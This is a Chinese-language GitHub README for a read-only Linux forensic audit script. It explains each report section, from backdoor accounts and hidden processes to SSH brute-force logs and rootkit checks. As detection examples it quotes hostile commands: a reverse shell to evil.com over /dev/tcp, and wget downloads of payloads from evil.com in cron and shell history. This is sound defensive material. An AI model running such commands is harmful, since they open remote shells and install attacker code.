8000 GitHub - Airexxxxx/hacker_forensics: hacker_forensics 是一套无侵入的生产级 Linux 取证脚本,一键自动审计主机失陷迹象(后门账户、隐藏进程、持久化后门、SSH爆破、Rootkit、文件篡改等)并输出带风险等级的分析报告。 · GitHub
[go: up one dir, main page]

Skip to content

About

hacker_forensics 是一套无侵入的生产级 Linux 取证脚本,一键自动审计主机失陷迹象(后门账户、隐藏进程、持久化后门、SSH爆破、Rootkit、文件篡改等)并输出带风险等级的分析报告。

Resources

Stars

2 stars

Watchers

0 watching

Forks

Latest commit

 

History

1 Commit

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 

Repository files navigation

脚本使用与报告解读教程

一、脚本使用教程

1. 获取脚本

将完整脚本保存为 /opt/hacker_forensics.sh(或其他路径),并赋予执行权限:

sudo chmod +x /opt/hacker_forensics.sh

2. 执行审计

必须以 root 身份运行(因为需要读取系统日志和部分系统文件):

sudo /opt/hacker_forensics.sh

运行过程中,终端会实时刷新审计结果,同时结果会覆盖写入 唯一报告文件:

  • 报告路径:/var/log/hacker_forensics.log

3. 注意事项

  • 只读安全:脚本不会修改任何系统配置、不会封禁 IP,可放心在生产环境使用。
  • 并发锁:同一时间只能运行一个实例,若重复执行会提示“脚本正在运行”并退出。
  • 报告覆盖:每次运行都会覆盖上一次的报告,只保留最新结果。如需历史记录,请自行备份。
  • 日志范围:自动收集 /var/log/secure、/var/log/auth.log 及其轮转压缩包(*.gz),确保分析覆盖全部历史。

4. 定时自动执行(可选)

建议加入 cron 周期性审计(例如每周一凌晨 3 点):

sudo crontab -e

添加以下行:

0 3 * * 1 /opt/hacker_forensics.sh

报告保存在 /var/log/hacker_forensics.log,可随时查看。


二、日志解读教程(逐节说明)

报告分为 8 个审计章节和最后的汇总,每一项结果都带有风险标签:

  • [CRITICAL] 红色严重警告 —— 需要立即人工介入
  • [WARNING] 黄色一般警告 —— 可能存在配置风险或需关注的变更
  • [INFO] 绿色信息 —— 表示检查通过或提供上下文

下面逐节解释如何判断是否存在安全威胁。


第 1 节:用户与认证审计

查什么:

  • 系统中除 root 外是否还有 UID=0 的超管账户(后门账户)
  • 是否存在可以登录的普通用户(U >= 1000 且 Shell 不是 /sbin/nologin)
  • /etc/shadow 中是否有空密码或未锁定的弱账户
  • 当前 sudo 权限配置是否异常(例如全员 ALL)

如何解读:

  • CRITICAL:如果看到类似 发现 UID=0 的非 root 账户: backdoor:x:0:0...,说明存在隐藏的超管后门,必须立即禁用。
  • WARNING:系统账户(如 bin, daemon)显示为“空密码或锁定”是正常的,因为这些账户本身就无法登录。但如果是你自定义的用户被误标,请确认该账户是否需要可登录。
  • 正常 INFO:仅显示一个你认识的管理员账户(如 airex)且 sudo 权限仅限 root,即为安全。 在这里插入图片描述

第 2 节:网络与连接审计

查什么:

  • 当前所有监听端口及对应进程
  • 已建立的对外 TCP 连接(检查是否有可疑外联木马)
  • SSH 服务是否运行在非标准端口

如何解读:

  • INFO:列出标准服务端口(22, 111, 53, 631, 25)都是系统默认,正常。
  • WARNING/CRITICAL:如果看到未知进程监听了奇怪端口(例如 /tmp/.x 监听 4444),很可能是后门。正常连接如 192.168.0.20:22 -> 192.168.0.11:17012 显示的是管理员自己的 SSH 会话。
  • 非标准端口(如 2222)只要是你主动修改的,就不是问题;否则需检查是否被篡改。

第 3 节:进程与隐藏检测

查什么:

  • 对比 ps 输出的 PID 列表和 /proc 目录下的 PID,检测是否存在 rootkit 隐藏的进程。
  • 显示 CPU 占用 TOP 10 进程,发现异常资源消耗(如挖矿病毒)。

如何解读:

  • CRITICAL:如果发现 隐藏进程 PID=12345 命令: /usr/bin/...,说明有进程在 /proc 中存在但 ps 看不到,极大概率是 rootkit,须深入分析。
  • WARNING:若提示“无法完成检测”,通常是由于系统权限或排序临时问题,可手动用 ps aux | grep -v grep | wc -l 和 ls /proc | wc -l 粗略对比。
  • INFO:未发现隐藏进程,且 TOP 进程都是 gnome-shell、vmtoolsd 等正常程序,即为安全。

第 4 节:文件与持久化审计

查什么:

  • 所有用户的 crontab 和系统 /etc/cron* 定时任务
  • systemd 定时器
  • /etc/rc.local 开机启动脚本
  • /tmp 和 /dev/shm 中的可执行文件(常见恶意软件投放点)
  • 非标准路径下的 SUID/SGID 文件(可用于提权)

如何解读:

  • CRITICAL:如果发现陌生定时任务(如 */5 * * * * wget http://evil.com/s)、/tmp 下有不明可执行文件,或 /home/user/.hidden/suid_shell 这样的 SUID 文件,均为严重入侵迹象。
  • WARNING:系统自带的定时脚本(logrotate, mlocate)和系统 cron 空目录均为正常。/etc/rc.local 中只有 touch /var/lock/subsys/local 无风险。
  • INFO:未发现异常则说明持久化层面干净。

第 5 节:SSH 暴力破解及登录审计

这是日志分析的核心部分,分为统计和明细两个板块。

统计部分:

  • 爆破 IP TOP:按失败次数降序排列,展示攻击来源 IP 及尝试次数。
  • 爆破用户名 TOP:展示被猜测的用户名及次数(包含 root、常见弱用户名等)。
  • 成功登录 IP TOP:展示成功登录的 IP 及次数。

明细部分:

  • 最近爆破尝试:显示时间、来源 IP、目标端口(服务器 SSH 端口)、尝试的用户名。
  • 最近成功登录:显示时间、用户名、来源 IP。

如何解读:

  • CRITICAL(隐含):如果成功登录 IP 中包含你不认识的公网地址,说明服务器已被攻破。
  • WARNING:大量爆破记录(例如 IP 192.168.0.8 尝试数千次)虽然可能未成功,但说明你的 SSH 正被暴力扫描。此时应查看 SSHD 配置关键项 确认 PasswordAuthentication yes 是否开启——若为 yes,则被暴力破解风险极高。
  • 正常:成功登录 IP 都是你的内网管理段(192.168.0.x),没有异常成功记录。

示例分析: 模拟入侵爆破 在这里插入图片描述

脚本发现 在这里插入图片描述

说明 192.168.0.8 正在对内网服务器端口 22 进行大规模暴力破解,尝试了 root、vagrant 等账户。结合成功登录记录,若未发现该 IP 成功登录,则暂时未突破,但需要加强防护。


第 6 节:历史命令与登录痕迹

查什么:

  • 最近 20 次用户登录记录(last 命令)
  • 检查 /root/.bash_history 和 /home/*/.bash_history 中是否存在可疑命令(如反弹 shell、恶意下载等) 在这里插入图片描述 如何解读:
  • WARNING:如果发现类似 bash -i >& /dev/tcp/evil.com/443 0>&1 或 wget http://evil.com/shell.sh -O /tmp/x,说明已被植入,需立即断网排查。
  • 正常:历史命令中无匹配,或只有日常管理命令。

第 7 节:内核模块与 Rootkit 快速检查

查什么:

  • 当前加载的所有内核模块(lsmod 输出)
  • 已知 rootkit 特征目录(如 /usr/src/.puta 等)

如何解读:

  • CRITICAL:若出现可疑内核模块名(例如 suterusu, wn 等)或特征目录存在,极可能是内核级 rootkit。
  • INFO:列表中都是网卡驱动、文件系统等正常模块,且没有特征目录,则安全。
  • 示例分析: 模拟 Rootkit 在这里插入图片描述 脚本发现 在这里插入图片描述

第 8 节:软件包完整性 (RPM)

查什么:

  • 对已安装的 RPM 包执行 rpm -Va,检查文件大小、校验和、权限等变化,列出异常项。

如何解读:

  • WARNING:大部分变动是配置文件(标记为 c)被系统工具修改,属于正常(如认证配置、打印机配置)。
  • 重点关注:如果核心二进制文件如 /bin/ps、/usr/sbin/sshd、/bin/ls 等出现 S.5....T. 变化,很可能被替换为木马版本,此时必须深入检查。
  • INFO:仅显示少量配置文件变动,无关键文件变化,则可放心。 示例分析: 模拟修改文件权限和配置(必告警) 在这里插入图片描述 脚本发现 在这里插入图片描述

三、最后汇总与后续行动

报告末尾会统计 CRITICAL 和 WARNING 的总数。

  • 如果 CRITICAL > 0:立刻进行应急响应,隔离主机并分析可疑项。
  • 如果所有 WARNING 集中于 SSH 密码认证和 RPM 常规配置文件变动:属可接受风险,建议立即采取以下加固措施:
    1. 关闭 SSH 密码登录,仅用密钥认证:
      sudo sed -i 's/^PasswordAuthentication yes/PasswordAuthentication no/' /etc/ssh/sshd_config
      sudo systemctl restart sshd
    2. 部署 fail2ban 自动封禁爆破 IP:
      sudo yum install fail2ban -y   # 或 apt install fail2ban
      sudo systemctl enable --now fail2ban
    3. 限制 SSH 源 IP(如有防火墙):仅允许管理 IP 段访问 22 端口。
    4. 定期运行本脚本监控变化,配合 SIEM 集中告警。

当报告调整至 0 CRITICAL、少量正常 WARNING 时,表明主机处于基线安全状态。 在这里插入图片描述

About

hacker_forensics 是一套无侵入的生产级 Linux 取证脚本,一键自动审计主机失陷迹象(后门账户、隐藏进程、持久化后门、SSH爆破、Rootkit、文件篡改等)并输出带风险等级的分析报告。

Resources

Stars

2 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages

0